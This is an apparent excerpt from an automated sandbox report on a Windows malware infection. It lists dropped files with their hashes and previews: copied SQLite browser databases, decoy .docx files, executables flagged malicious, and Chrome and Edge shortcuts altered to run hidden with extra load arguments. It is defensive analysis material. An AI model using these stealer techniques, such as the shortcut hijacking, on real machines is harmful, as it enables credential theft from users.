Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692990330209164
Encrypted:	false
SSDEEP:	24:NCzz4hMQMxH70HULgnraTryj1S0KEX64u+O572j79DwzpnQf8A:axH70cauYS0k4u+O125wtnm8A
MD5:	DD71B9C0322AD45992E56A9BCE43FE82
SHA1:	60945B6BC3027451A2E1CFA29D263A994F50E91A
SHA-256:	19AC62FD471E562088365029F7B0672623511CF3E58F2EF6DE1A15C14A2E94E7
SHA-512:	86EA2B42FEB542977FCF534B4708F7A07E09F4ACC413307E660B905408BC4AA9E26C50E907FA02379EA3EBFD18C532CC9DC269B6EA5994E3290082E429CAAE03
Malicious:	false
Preview:	EOWRVPQCCSGUYRPSSKREBPXVQXUWKHGDIJHLBLYMXTIUESLNTSFMRJGDSQHOWECQAJMENKQNNWPVETUPWMXJTCUIAKPCZEENXVLTKYPKROZPDEBFNAJOVCNEXQJFUHQCMLNHGMRJJIPLOMWFWJKKXSTRHWFVLVQPEMFBLDTSCCSXADJIIDQIYCEGSDEDZDWUEJLTYJHMYEHHMBFZCRDHXZVPESWNDGUEFQZTJFSJVKZMWREMIZGAIZANQJKWWXITTXHDQDZOEOGKCEMDUUBDTMNWBRSOWEKQXQDCYJXERQRAMVQCWCTYJPEAJUAWNBRQWGFJAHXJJFRYTZMSGCREPRECKHXXMJGSQEKUCUNCWUAAPBWQVSMWCJGYSLPHJJHJGXSMNLNICJMSGSWRKARHMQXLYSAOPDAPXSMORZLUWYOQTJQNKSCAJWRUEYRFPNOVSMNYRKMTSGRIFLOAJUGJYDTLINOTCEADKRENVYNODFSIJGSDCICIDXZTLLSKKJQSOHYTZRBSHPHXWZOOSKQIRSGPTAOQPBVJAMXOGPYNJMJXAKCTMRRTFCBPOAMNJORWRNZOGZMNBVCCZYQPOQOUXBGKNLFSQWAWEREFQBRDLTVHEFNRUSOARHJPRECDRMPANZRBGCANIUWEBUDVWLYHFTPGBHSZBZBEFUWFHUZPJOVMHGSINZWDUKWPGMGSNSSJNOMETOCJILXRQRGZQFAJCWYQEENIZIMHRBTZUYEOKCQXYLWCKFHOHCOVRVPNTEUARVJEFALBUVYXIYZRMGJWZNYNLPYHZSSCODVXZBIWXIOAVMGMPKCPYIFZIKWRIHNIYASXZLMOLNZOMMYUSCRZBCXRANWWODLPHCXXDPLNYLMHYIUYZJWQLECFNXQEERYDVDBPXOLGZLZQCVYUYKFZGKXWVDQANPXQYAATYFJALGENVLDMHDASWKNNXODUHLXYGCBUKEFWISCCUWXNUNETWMTQHQDJMAXNPFPLMPQO

C:\ProgramData\FBKJDGCG

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FBKKJEBF

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.265064492694324
Encrypted:	false
SSDEEP:	384:8/2qOB1nxCkMSSAELyKOMq+8yC8F/YfU5m+OlTLVumD:Bq+n0JS9ELyKOMq+8y9/OwY
MD5:	05E37EB785E6287DA9CC44264005CF0D
SHA1:	9C12F0B5314BBA38DE918DE0ED4887717FA91943
SHA-256:	7DBD12E29648ABE8606A76D0D9650F461BB430AB193A5148295BD3AF2E8F83C9
SHA-512:	6A3B64C0E11C3D1AE114F8A6FA980E34166CE4B819A65BC36ECA86D5DC9DE186ABF1DF77AED9C703BE009064F5ABC46921B93E4CF3505BF09A68EC90D3759068
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GHCGDAFCFHIDBGDHCFCBFBFIIJ

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HIIIJDAAAAAAKECBFBAE

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JANA timezone 2.12.66\JANA timezone 2.12.66.exe

Download File

Process:	C:\Users\user\AppData\Local\Turquoise CD Player\turquoisecdplayer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2817403
Entropy (8bit):	6.609843339002919
Encrypted:	false
SSDEEP:	49152:kJB6eypEAq+ZRXDHw2mUDlcjGA6PHTzOCdw5V:JnbPXDQ2melci7PHqL
MD5:	578530F1C73BA58C2D868B45C7223945
SHA1:	3E23CE8B870A4C1061103289B461AA7390AAE9D6
SHA-256:	204FE3CF3707B6739E4A5FD8DEA0E69787A1353A4BFEF9BD29BF5FF084931B3A
SHA-512:	2F56F6C27F5144FE1F465B509740274B31E37B7F63B959E841390C9647CA8CEE8E5F08E4CC6A54D7898B1F69C496AED7E9979489EFA043F4680ACDDDD1C16416
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....C.^............................T.............@..........................0+......................................................p...\..............................................................................H............................text............................... ..`.rdata..X........0..................@..@.data...8T.......0..................@....rsrc....`...p...`...@..............@..@_set_1...`......{]..................a.U.........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KJJJKFIIIJJJECAAEHDBFHJEGD

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KKFBFCAFCBKFIEBFHIDBAKJJJJ

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KLIZUSIQEN.docx

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696703751818505
Encrypted:	false
SSDEEP:	24:b16WkAmEUwq/rBFGdG3NQGsu7DYh3NTgfAtxoLxLP/VEmcM:hkAYzzbG4NPsuYh3N0fAjaxLnl
MD5:	19255ED5D4F37A096C105CEF82D0F5C0
SHA1:	96C5E995A91C8BC479E1C2ADB32C7E022EB8FAC7
SHA-256:	A0E9C6A5B14DB7AB22994C5017930720299F4492CE99D95A07BEB46BF2BAE7E8
SHA-512:	CDCD7E54677DE3BCE65BD80C855DE9684517F931ECA4D17E984C1D02E5E5CE9B50582ECCFA43F71A4F0A4E1743D74FCF3D588424AF519BFAE628EA49082C6E68
Malicious:	false
Preview:	KLIZUSIQENZWQAFPHPIZMRSSYSYIINGOAPFQHPCFTPTNYLSNMTRTDZSWEBKDRHIUFOFGWKTHENHAQWTYTMOJNOWPWJAPIZKOPDMUAKVTHXYWDBHBVWDTBCFVXJHDCUGTPASHSDSKUVYPRPPUXKURDNZYJENQKRHCARIUAOIAFRFWGQDXOAPXUJAUWRVEASXCVARWJMIPINSQDPGOWLRMNRCAEZGZIYDWBEWCOJWHLMOUROGZKCFGXDKPHAJADQCYUZYSYXQOIEGZIJWZLUJEKZUASKHQOGVFGVEXIQTENJDEKERNBPZGKNXWYZVXDDAYNSFBZAKWCEEYDSJONDKOYOBSAVICMHPZZRHRLNYDOIDQNYLXFDCCUOIJANPQCOIJDXFLDMIBVHBYSNYGAVWTHYCIPBRPTWSQXWXZZJBFNAUOMALKDRYIMJCRJXXQXCEREPQGNQHHOFEMEOXMSZEWOLTOLCOUCQNPRIPXUSVZNATFZKIJQZKGKTCYOMBXFTSXBXYIHMOONWWGRKPSNEMONASEFSVWNWIBXDSMEKQJIDCFPVMGAAUPBVOYAIKYQEFVSXOFTEMHNXVNMMENORLDYPZUSILNZRPHITCWDQMLEFZOEGPJDXQLBSIYRONLBYOSJVTEMBHNVXCMMRDVOAYSMNNRKRLBSQBIWIWHYUMBKTIYQTROZKTGZZMEFWINSQAXMWWLRRSPXAQZURXOTMUHPNLOUWMXRQSGXIAQILQCZUUTRJZVRNLBSHADNHZSDOQIYIZCEZHFRITTHSZOSBZGNCQVHXSFZJCEVSJCZZYTCFXLNBKMTPXYHPDXMMMXHUAAQWYYFHMKXWZBXZBWKFQHLPMVMGYFZBMVSYGKGTOLLJCBFKHHWFIVPPXPTVEJEBZBXHKNYKDYLIAKLLPJZFPVJAROJUOZZUWNZRRDZNYLGBHMNWUKJLSAXBUBWJZYCMVLYBCQJLBOROBDSZGHMCIASVUCVNDTGDALKYLTOMJK

C:\ProgramData\MPGPH131\MPGPH131.exe

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3134464
Entropy (8bit):	7.987488694347116
Encrypted:	false
SSDEEP:	49152:sa24nrYoeu14yHYne7V64z4APA5EtaUi7YcI5NtMQQDF4PAxf0NQdX1fwCm:Dncol14y4e7Vm0xaMcojM/DMAxf0yXF9
MD5:	F57F726F9E1B8C24B4F7C275FFAC78CF
SHA1:	339FED05D2D4A963E734E22741C89979D6B68B73
SHA-256:	AC9BF57379A94E559528BA283CBF74BF0DACF647CBB7F485437C361246FBD123
SHA-512:	C5BE34173BF2B710C57B4497A065FE19FB9DD62459EDFF56FDCC85363CCEDB53FC39989ED287DD07295A15E8DC86BF7902C68BD23E2B765CFC5B0ED94B56FA8F
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......j.....s...s...s.e.p.%.s.e.v...s.e.t./.s..y..*.s..yw.=.s..yp.4.s..yv.u.s.e.w.6.s.e.u./.s.e.r.5.s...r...s..zz.2.s..z../.s..../.s..zq./.s.Rich..s.................PE..L....iLf...............'.....\|..................@......................................@... .. .... .. ..........P.......,........`..4...................0........................................................................................................<..................@........................@..............@............P...P.......B..............@............ ...........J..............@....................b...J..............@....rsrc.... ...`......................@..@.........`y......(..................@....data.....!.......!.................@...................................................................................................................................................

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome.lnk

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:41 2023, mtime=Wed Oct 4 13:16:41 2023, atime=Wed Sep 27 04:28:27 2023, length=3242272, window=hide
Category:	dropped
Size (bytes):	2222
Entropy (8bit):	3.4991168845013685
Encrypted:	false
SSDEEP:	48:8SidfTXdARYrnvVdAKRkdA0qOJq87dAKRFdAKRE:8S67O
MD5:	9E8C3B2831C9C09C213637E5D22FBA19
SHA1:	E75519431BD1C45AD53B0B93378E00B926C47042
SHA-256:	B01F0660C82E2DCD0ECDA797DB6F2F0B138CA40056C98CB6C4A1889D2CE5F268
SHA-512:	7F9F48A575D28F39A8F63C05B0E59252738FAA309888F2A6D719075CD76529A7C9C8A593D5C938F10A3D5BF7BB492FD60D31BB4EF2E386C76A1BDEEB2DB95503
Malicious:	false
Preview:	L..................F.@.. ......,....&:.e.......q.... y1.....................#....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IDWWn....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VDWUl....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VDWUl....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VDWUl..........................."&.A.p.p.l.i.c.a.t.i.o.n.....`.2. y1.;W.+ .chrome.exe..F......CW.VDW.r..........................,.6.c.h.r.o.m.e...e.x.e.......d...............-.......c............F.......C:\Program Files\Google\Chrome\Application\chrome.exe....A.c.c.e.s.s. .t.h.e. .I.n.t.e.r.n.e.t.A.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.@. .-.-.l.o.a.d.-

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Edge.lnk

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Thu Aug 5 21:41:46 2021, mtime=Tue Oct 3 11:10:59 2023, atime=Fri Sep 29 11:17:35 2023, length=4210216, window=hide
Category:	dropped
Size (bytes):	2568
Entropy (8bit):	3.686235682567051
Encrypted:	false
SSDEEP:	48:8sQJG+dOSzrhs+frnzldRdkqOJq5dLXuHj0PkFmq4:8G2hpuD0Pkkq
MD5:	8B908E879B7DBCBDD3B4B5B8905B5F51
SHA1:	8E0BE4CE3A1C67695D4BC40FE489A45D76A1C70F
SHA-256:	AAC00C5F6E587E29EB4EB784362C0C491C971E96271B42DCBB02F274A72D2156
SHA-512:	CFE1B6FB00A4770B4F0046E26EE270490D94184D6DEA650D12857B238FB2D724EE64E107411CAD1833A0B97CB47AAC92B8B8DCF696997D4FE2CD5568D216E0AF
Malicious:	false
Preview:	L..................F.@.. .....\|.K....f......?......(>@.....................1....P.O. .:i.....+00.../C:\.....................1.....CWSa..PROGRA~2.........O.ICWSa....................V.......:.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.)...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.7.....\.1.....CW.`..MICROS~1..D......(Ux.CW.`..........................6\|..M.i.c.r.o.s.o.f.t.....N.1.....CW\a0.Edge..:.......S8.CW\a...........................AI.E.d.g.e.....`.1.....CW`a0.APPLIC~1..H.......S8.CW`a..........................r.N.A.p.p.l.i.c.a.t.i.o.n.....`.2.(>@.=W2b .msedge.exe..F.......S8.CW`a....u.......................q.m.s.e.d.g.e...e.x.e.......k...............-.......j............F.......C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe....B.r.o.w.s.e. .t.h.e. .w.e.b.H.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.1.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4742.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	96610
Entropy (8bit):	3.019620119415642
Encrypted:	false
SSDEEP:	1536:TlsQCy5UYa3RE1GUgeu4HQExgm+m+zF7e8D:TlsQCy5UYa3RE1GUgeu4HQExgm+m+zFF
MD5:	769C612518B4D718530A2DC8C4D8FE08
SHA1:	B6E57A935193B393D1A94A5EE57BA2D40F95C9FB
SHA-256:	0B56E56C07D8A1A805E4196A3C81106E060797DC5E90D43BE38CCB3B9FC1F8FA
SHA-512:	79EADB2AFDEB8408A49D6AF835642E3DB12E82DA20FB130D1ED753E33BE64EEEA184E79AD22414EB1BA64ED6F6EFF71E5D3B280B3737E305E93ECF34F7CF1F17
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4C92.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6939014490703497
Encrypted:	false
SSDEEP:	96:TiZYW9qex1HHwYLYVWgtuHgYEZ6mtFiu36yVwntihxpaelOZeMM0OHIT3OE:2ZD9esUMToxpaelOZeMM0OoT3OE
MD5:	FD99DE233A08BC51D8A5030AC6EB314F
SHA1:	8C060A8C11FF15E45BE75FD233982B4F2D94F3D1
SHA-256:	125CC36285A77AEC30E84E4ABED22BAB6C63E218074983177A9EADD10000533C
SHA-512:	4EE60F5E920D9BF651A4F667A4C23C5A69008ED51ECB182AAC328734FC8F718835372A35ABFDB314F42480904C9CF7AFD8CC5B831C24DD5EA5EA622A41BA80AA
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4DFB.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	101790
Entropy (8bit):	3.016260031122757
Encrypted:	false
SSDEEP:	3072:5KN0pXc9a5vGY7qrNEcGUtlh4Cxgm+m+tm0mtrkUqkvusdkr:p
MD5:	FAD1957BE5DBC85B421A987C2BEA14E8
SHA1:	483B6767D73AE4EED60DEC80579D3DFA1026768C
SHA-256:	E83E7A509B52302B3356373BD28F76032134350AC27F9C66DDEE0A466821F900
SHA-512:	A110D5F895F6FB0EECE412CDD22946CC067572274268632856DECB1A50302903A18730D71E5A95FBF1ED66957582087FCE178D8D63B45C940C658A7A0BB27116
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4FD5.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	91956
Entropy (8bit):	3.019016153270425
Encrypted:	false
SSDEEP:	1536:nqybGYBV2pzRC6ZjuPDzuSunWsm5BlFXW+B+b+f+Z+a+E+4+i+V+0To+IvqvlA+6:nqybGYBV2pzRC6ZjuPDzuSunWsm5BlFu
MD5:	ACF9FCCDA95A775D6E983993AC813E7C
SHA1:	600489393FC35C8B5AD4D2DCBB796206ED27C99A
SHA-256:	F428321B729118DA2C724E0B83D6B0B20C9C72E77E80B0BCF9BEB0B6890AD3C0
SHA-512:	28B32BF909014F7B7D376E057C2231ED668F68DFA5663089A8E6AF8591C51BFB5562925AB4987E6BB826B77DDA4AEF4EE7FCE7DD8C50D0C2D9611539FB668DB6
Malicious:	false
